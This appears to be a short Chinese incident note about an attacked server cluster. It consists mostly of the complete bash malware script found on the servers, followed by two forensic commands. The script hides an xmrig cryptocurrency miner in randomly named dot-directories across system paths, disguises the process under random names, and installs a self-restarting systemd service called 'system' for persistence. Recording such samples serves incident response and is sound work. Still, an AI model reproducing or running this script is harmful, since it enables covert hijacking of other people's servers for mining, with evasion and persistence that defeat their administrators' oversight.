记录一次服务器集群被攻击

#!/bin/bash

# Get the absolute path of the script's directory
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# Set the paths for xmrig and config file
xmrig_path="$SCRIPT_DIR/xmrig"
config_file="$SCRIPT_DIR/config.json"

base_directories_root=("/var/lib" "/var/log" "/var/cache" "/usr/bin" "/var/tmp" "/dev/shm" "/tmp" "/boot" "/lib" "/home" "/root" "/etc" "/dev" "/run")
service_name="system"

# Function to generate a random name
generate_random_name() {
  head /dev/urandom | tr -dc A-Za-z0-9 | head -c 10
}

# Function to generate a random directory path
generate_random_directory() {
  base_dir="$1"
  random_name=$(generate_random_name)
  echo "$base_dir/.$random_name"
}

# Function to check if xmrig is running
is_xmrig_running() {
  pgrep -f "$random_name" > /dev/null
}

# Function to start xmrig with a random directory and copy xmrig and config file
start_xmrig() {
  shuffled_directories=()

  shuffled_directories=($(shuf -e "${base_directories_root[@]}"))

  for base_dir in "${shuffled_directories[@]}"; do
    directory=$(generate_random_directory "$base_dir")

    # Attempt to create the directory
    mkdir -p "$directory" && break
  done

  # Ensure the directory is created before attempting to copy files
  [ -d "$directory" ] || { echo "Failed to create directory: $directory"; exit 1; }

  cp "$xmrig_path" "$directory/"
  cp "$config_file" "$directory/"

  random_name=$(generate_random_name)
  ln -s "$directory/xmrig" "$directory/$random_name"

  (cd "$directory" && "./$random_name") &
}

# Function to create directories if they don't exist
create_directories() {
  for base_dir in "${base_directories_root[@]}"; do
    mkdir -p "$base_dir"
  done
}

# Function to create a custom service
create_custom_service() {
  service_file="/etc/systemd/system/$service_name.service"

  cat <<EOL >"$service_file"
[Unit]
Description=Custom System Service

[Service]
ExecStart=$SCRIPT_DIR/$(basename "$BASH_SOURCE")
Restart=always

[Install]
WantedBy=default.target
EOL

  systemctl daemon-reload
  systemctl enable "$service_name.service"
  systemctl start "$service_name.service"
}

# Check for sudo privileges
if [ "$EUID" -eq 0 ]; then
  create_directories
  create_custom_service
fi

# Initial setup
create_directories
start_xmrig

# Main loop
while true; do
  sleep 5

  # Check if xmrig is running, restart if not
  if ! is_xmrig_running; then
    create_directories
    start_xmrig
  fi
done

lsof -p <pid>

who /var/log/wtmp